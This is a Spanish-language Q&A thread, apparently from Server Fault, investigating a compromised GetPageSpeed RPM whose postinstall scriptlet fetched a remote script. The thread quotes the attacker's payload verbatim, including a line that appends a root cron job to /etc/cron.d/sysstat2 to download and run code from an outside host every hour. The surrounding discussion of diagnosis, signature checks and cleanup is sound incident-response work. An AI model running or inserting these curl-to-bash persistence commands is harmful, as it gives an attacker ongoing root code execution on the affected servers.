¿Cómo la instalación de este RPM creó un archivo?

16

La ejecución yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmcrea /etc/cron.d/sysstat2pero RPM rechaza el archivo:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

¿Cómo creó el archivo RPM y cómo veo qué más hizo?

Pascal
fuente
44
Entonces, ¿son propiedad de estas personas de GetPageSpeed ​​y no lo saben, o están publicando RPM malos ellos mismos?
Aaron Copley
1
El RPM que instalé desde su sitio hace tres meses fue bueno. El malicioso fue publicado ayer. Creo que eran de su propiedad, y cualquiera que use su repositorio se está haciendo dueño. El malicioso está cayendo a través de yum update. Les envié un correo electrónico y un mensaje a través de su formulario de contacto.
Pascal
¿Y también está firmado por ellos?
Aaron Copley
1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmes el archivo original, todavía tiene una fecha antigua en su repositorio y gpgcheck=1está configurado en él.
Pascal
1
Te sugiero que también te pongas en contacto con el administrador de la web en sayitwithagift.com, aunque YMMV sobre qué tipo de respuesta obtienes. Terminé yendo a través del proveedor de alojamiento de un sitio web para ponerme en contacto sobre un servidor de correo mal configurado una vez, ya que el sitio web nunca respondió.
Darren

Respuestas:

18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php contiene:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
Pascal
fuente
16

Usted descubrió que los scripts de rpm ejecutan un script desde Internet, y ese script actualmente redirige a lo que podría ser malware. Aunque, no encuentro mucha carga útil que haga algo.

rpm no puede rastrear completamente lo que sucedió porque está ejecutando un script arbitrario.

gpgcheck no le ayudará, tanto en el getpagespeed-extras-7-6.el7.gps.noarch.rpmy getpagespeed-extras-release-7-1.el7.gps.noarch.rpmque parecen tener ligado firmas válidas:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Quejarse al propietario del repositorio de que el paquete ejecuta código arbitrario de Internet. Si debe hacerlo, es necesario mejorar la seguridad de su cadena de suministro de software.

Parece un poco paranoico realizar la primera instalación de software sin acceso a Internet, o inspeccionar manualmente el script de "instalación posterior". Pero desafortunadamente casi parece necesario si los paquetes hacen trucos mal aconsejados como este.

John Mahowald
fuente
La carga útil es un trabajo cron que descarga y ejecuta ' sayitwithagift.com/pwn.php ' cada hora. Actualmente no hay nada allí, pero eso podría cambiar en cualquier momento. Eliminar el RPM no elimina la carga útil.
Pascal
Su RPM original no tenía un scriptlet postinstall. Solo lo hace la versión cargada ayer (presumiblemente por un hacker).
Pascal
1
No está claro si la adición del código de Internet exec es una idea legítima o si fue agregada por el equipo de malware. Lo último es aún peor, porque eso implica que los procesos de firma y carga se vieron comprometidos.
John Mahowald
1

Tengo 5 servidores CLoudLinux / cPanel que solían tener Nginx en ellos a través de Engintron, pero ahora ejecutan el servidor web LiteSpeed. Creo que Engintron puede haber dejado atrás los repositorios de páginas cuando se desinstaló. cPanel ejecuta una verificación de actualización todas las noches, y alrededor de la medianoche todos mis servidores me enviaron un informe por correo electrónico:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Una búsqueda del sitio de carga útil me condujo aquí, donde veo que el mismo día tuvo el mismo problema. Para agregar mi información a la tuya. El mismo /etc/cron.d/sysstat2archivo existía en todos mis servidores.

Eliminé el archivo, eliminé los repositorios y utilicé el formulario de contacto en GetPageSpeed ​​para informar el problema. El propietario del Repo puede estar AWOL ya que había una publicación en el blog que decía que estaba cerrando el repos debido a problemas de salud. Entonces, tal vez el atacante aprovechó el hecho de que el repositorio no está recibiendo atención o encontró una puerta abierta para explotar.

John C. Reid
fuente
1
El mensaje sobre el cierre del repositorio se publicó después de que recibió mi correo electrónico sobre el compromiso. Le pedí que volviera a abrir el repositorio y publicara paquetes actualizados para eliminar /etc/cron.d/sysstat2. El lo ha hecho.
Pascal